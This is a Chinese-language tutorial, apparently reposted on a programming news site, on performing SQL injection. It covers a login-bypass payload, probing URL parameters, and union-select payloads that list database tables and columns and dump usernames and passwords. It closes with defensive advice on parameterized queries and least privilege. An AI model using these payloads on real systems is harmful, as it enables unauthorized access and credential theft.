返回顶部
首页 > 资讯 > 精选 >怎么实现SQL注入
  • 273
分享到

怎么实现SQL注入

2023-06-15 08:06:24 273人浏览 独家记忆
摘要

今天就跟大家聊聊有关怎么实现sql注入,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。什么是SQL注入SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。Sql

今天就跟大家聊聊有关怎么实现sql注入,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

什么是SQL注入

SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。

Sql 注入产生原因

我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句。如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。

登录案例讲解

select * from admin where uname='用户名' and pwd='密码'

输入 'or 1=1 #(–空格或–+或#:注释掉后面的sql语句)

这时SQL语句变为:select * from admin where uname='' or 1=1 # and pwd='密码',这时SQL语句永远成立,绕过登录。

基于GET方式的SQL注入

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否有注入点。

可登陆到mituan.zone进行测试

' '1'' LIMIT 0,1 ' :多了一个单引号

可猜测SQL语句为:select login_name,passWord from admin where id = 'id' limit 0,1

' ' LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = id limit 0,1

' '1'') LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = ('id') limit 0,1

单引号、括号都不报错说明被接收的是字符串类型' "1"") LIMIT 0,1 ':多了一个双引号

可猜测SQL语句为:select login_name,password from admin where id = ("id") limit 0,1

SQL注入利用

利用order by判断字段数

order by n(n为猜测字段数)--+

以案例一为例

select login_name,password from admin where id = 'id' limit 0,1用?id=1' order by 11--+

猜测错误时则会报错

怎么实现SQL注入

此时探测到有3个字段,用?id=0' uNIOn select 1,2,3--+探测到Login_name在第二列,Password在第三列,则第二、三列可利用。

怎么实现SQL注入

?id=0' union select 1,2,3--+2,3改为user():查看当前MYSQL登录用户名,database():查看当前使用Mysql数据库名,version():查看当前mysql版本,如改为?id=0'union select 1,user(),database()--+ 得到下图中信息

怎么实现SQL注入

利用union select 联合查询,获取表名。(在使用union select时要将前面的SQL语句报错)

union select 1,group_concat(table_name),3 from infORMation_schema.tables where table_schema=database()--+

怎么实现SQL注入

利用union select 联合查询,获取字段名。(以上面查询到的users表为例)

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

怎么实现SQL注入

利用union select 联合查询,获取字段值。(以上面查询到的users表为例)

union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a为冒号,用来分隔不同字段的值)

怎么实现SQL注入

如果是地址栏不能显示信息的POST形式则可以在对话框中输入注入语句

怎么实现SQL注入
怎么实现SQL注入
怎么实现SQL注入
怎么实现SQL注入
怎么实现SQL注入
怎么实现SQL注入

这里使用的方法和在地址栏中的输入一样,都是先报错前面的SQL语句再使用union select联合查询拿出表中数据

SQL 注入的防范方法

  • 对用户的输入进行过滤。如:对用户的输入进行校验,可以通过正则表达式、限制长度、对单引号和双"-"进行转换等。

  • 编写程序时不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

  • 不要直接使用管理员权限的数据库连接,每个应用使用单独的且权限有限的数据库。

  • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

  • 程序的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

看完上述内容,你们对怎么实现SQL注入有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注编程网精选频道,感谢大家的支持。

--结束END--

本文标题: 怎么实现SQL注入

本文链接: https://lsjlt.com/news/278874.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 怎么实现SQL注入
    今天就跟大家聊聊有关怎么实现SQL注入,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。什么是SQL注入SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。Sql ...
    99+
    2023-06-15
  • 怎么实现SQL注入Trick
    这期内容当中小编将会给大家带来有关怎么实现SQL注入Trick,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。between and 操作符代替比较符操作符 BETWEEN...
    99+
    2024-04-02
  • SQL注入之盲注怎么实现
    这篇文章主要介绍“SQL注入之盲注怎么实现”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“SQL注入之盲注怎么实现”文章能帮助大家解决问题。sql注入——盲注1.回顾...
    99+
    2024-04-02
  • Node+mysql怎么实现SQL注入
    这篇文章主要介绍“Node+mysql怎么实现SQL注入”,在日常操作中,相信很多人在Node+mysql怎么实现SQL注入问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Node+mysql怎么实现SQL注入...
    99+
    2023-07-04
  • sql参数化怎么实现防注入
    sql参数化实现防注入的示例:构造execute参数列表,让模块自动去拼装查询字符串,可防止SQL注入现象发生,代码:# 安全方式find_name = input("请输入您要查询商品的名称:")# 构造参数列表params = [fin...
    99+
    2024-04-02
  • MyBatis中怎么实现SQL注入攻击
    MyBatis中怎么实现SQL注入攻击,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。1、模糊查询Select * from&nbs...
    99+
    2023-06-20
  • sql注入如何实现脱库
    sql注入实现脱库的方法:借助Navicat for MySQL软件实现,下载并安装运行。打开Navicat for MySQL,点击连接,输入数据库相关信息进行连接,例如数据库ip地址,端口号,用户及密码等。当使用Navicat连接上数据...
    99+
    2024-04-02
  • HTML注入怎么实现
    本篇内容介绍了“HTML注入怎么实现”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!什么是HTMLHTML称为超文本标记语言,是一种标识性的语...
    99+
    2023-06-17
  • 怎么进行sql注入
    这篇文章主要介绍了怎么进行sql注入,具有一定借鉴价值,需要的朋友可以参考下。希望大家阅读完这篇文章后大有收获。下面让小编带着大家一起了解一下。所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入...
    99+
    2024-04-02
  • 怎么防止SQL注入
    这篇文章主要介绍了怎么防止SQL注入,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。SQL注入即是指web应用程序对用户输入数据的合法性没有判...
    99+
    2024-04-02
  • 怎么防御SQL注入
    这篇文章主要介绍怎么防御SQL注入,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!  许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段...
    99+
    2024-04-02
  • SQL注入怎么解决
    小编给大家分享一下SQL注入怎么解决,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!前言SQL注入即是指web应用程序对用户输入数...
    99+
    2024-04-02
  • SQL注入怎么防范
    这篇文章主要介绍“SQL注入怎么防范”,在日常操作中,相信很多人在SQL注入怎么防范问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”SQL注入怎么防范”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!一:什么是...
    99+
    2023-06-21
  • SQL注入怎么判断
    sql注入判断 SQL注入是一种网络安全攻击,攻击者通过向SQL语句中插入恶意代码,从而获得对数据库的未授权访问。判断SQL注入通常有以下几种方法: 1. 检测可疑输入 检查用户输入中是...
    99+
    2024-06-25
    sql语句
  • sql注入点怎么找
    sql 注入点通常出现在用户输入中,如表单、查询字符串、cookie 和 http 标头。识别注入点时需注意以下特征:用户输入直接进入 sql 语句、单引号或双引号、sql 关键字和特殊...
    99+
    2024-07-23
  • sql注入怎么测试
    sql 注入测试涉及以下步骤:确定应用程序中的输入点。构造包含注入代码的测试案例。执行测试并观察应用程序响应。分析响应,寻找错误消息、意外结果或敏感数据。确认漏洞并使用更复杂的测试案例。...
    99+
    2024-07-31
    敏感数据
  • sql注入怎么插入语句
    sql注入中插入语句的语法格式为:Insert into 表名(字段1,字段2,字段3,...)values (值1,值2,值3...);示例://插入一个user用户表,字段有id、name,值为1和linInsert into 'use...
    99+
    2024-04-02
  • JSP中如何实现防SQL注入
    JSP中实现防SQL注入的方法:1.采用PreparedStatement预编译语句集,它内置了处理SQL注入的能力,使用它的setXXX方法传值即可。2.使用正则表达式过滤传入的参数。JSP中实现防SQL注入的方法:采用PreparedS...
    99+
    2024-04-02
  • 如何实现sql防注入问题
    sql防注入的实现方法:设置目录权限,系统管理员应为信息系统的每个目录或文件设置相应权限,授予每个文件能正常运行的权限,比如静态页面文件所在的目录,应只授予“读取”权限,包含活动脚本的文件授予“纯脚本”权限就足够了。隐藏错误信息,把服务器设...
    99+
    2024-04-02
  • sql预编译怎么防sql注入
    预编译SQL语句是一种防止SQL注入攻击的有效方法。下面是一些预编译SQL语句的示例: 使用参数化查询:在预编译SQL语句中,通常...
    99+
    2024-05-06
    sql
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作